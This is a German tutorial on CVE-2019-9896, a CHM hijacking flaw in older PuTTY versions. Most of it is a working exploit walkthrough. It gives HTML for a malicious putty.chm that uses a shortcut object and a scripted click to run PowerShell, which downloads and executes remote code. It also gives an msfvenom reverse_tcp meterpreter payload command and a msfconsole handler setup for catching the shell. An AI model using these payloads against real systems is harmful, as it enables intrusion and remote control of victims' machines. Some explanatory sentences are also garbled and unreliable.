
Potenzielle Ausführung von Schadcode durch CHM-Entführung (CVE-2019-9896)
Potenzielle Ausführung von bösartigem Code durch CHM-Entführung
Bis einschließlich Version 0.70 suchte das Tool beim Start der Online-Hilfe in einem der Windows-PuTTY-GUI-Tools seine Hilfedatei, indem es neben seiner eigenen ausführbaren Datei suchte.
Wenn Sie PuTTY aus einem Verzeichnis ausgeführt haben, in das nicht zusammenhängender Code Dateien ablegen konnte (z.B. direkt aus dem Standard-Download-Verzeichnis eines Browsers), bedeutet dies, dass PuTTY, wenn jemand es schaffte, eine Datei namens putty.chm in dieses Verzeichnis zu bekommen (z.B. indem er Sie dazu verleitete, auf einen Download-Link mit diesem Namen zu klicken), diese Datei als echte Hilfedatei betrachten und an htmlhelp.exe übergeben würde.
Dies ist eine Sicherheitslücke, da HTML-Hilfedateien (.chm) wiederum Code ihrer Wahl ausführen können, z.B. durch Einbettung eines -HTML-Elements, das eine Windows-Verknüpfung ist, plus JavaScript, um darauf zu klicken.
Mehr Details: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM ist eine Erweiterung für das kompilierte HTML-Dateiformat, das am häufigsten von Microsofts HTML-basiertem Hilfeprogramm verwendet wird. Es kann viele komprimierte HTML-Dokumente sowie die damit verknüpften Bilder und JavaScript enthalten. Zu den Funktionen von CHM gehören ein Inhaltsverzeichnis, ein Index und eine Volltextsuche.
In der Vergangenheit verwendeten Bedrohungsakteure CHM-Dateien, um die Hintertürdatei abzulegen, die häufig bei gezielten Angriffen eingesetzt wird.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
Wir benötigen das HTML Help Workshop-Toolkit, um eine CHM-Datei zu erstellen. Nach der Installation starten Sie das HTML Help Workshop-Tool.
Klicken Sie auf Datei > Neu > Projekt und folgen Sie den obigen Schritten:
Creating HTML Help Project
Neuer Projektbildschirm > Weiter > Durchsuchen
Geben Sie den Namen Ihrer Projektdatei und den Ort an, an dem sie erstellt werden soll.
Geben Sie als Dateinamen putty ein und klicken Sie auf "Öffnen"
Specify your HTML Help Project
Wählen Sie HTML-Dateien (.htm)
Geben Sie an, wo sich Ihre .htm-Dateien befinden.
Klicken Sie auf "Hinzufügen..." und wählen Sie ein bereits erstelltes Verzeichnis für den Exploit, um Ihre schädliche Datei wie putty.htm abzulegen.
Select a HTM file
Der Assistent erstellt ein neues HTML-Hilfeprojekt. Wir müssen Änderungen vornehmen.
Doppelklicken Sie im Tool auf die erstellte htm-Datei, um sie zu bearbeiten, und fügen Sie dann den folgenden Code ein, um eine grundlegende Hilfedatei zu erstellen:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
Create malicious file
Wie erstelle ich ein einfaches TCP-Meterpreter-Payload für Windows?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
Wenn Sie auf die Hilfeschaltfläche doppelklicken, wird eine putty.exe als Kind von malware.exe gestartet, die der Interpreter der CHM-Binärdatei ist. (Ihre schädliche putty.chm und putty.exe sollten im selben Verzeichnis liegen.)
Spawns a malware
Wie erhalte ich die Meterpreter-Shell?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
Ressourcen: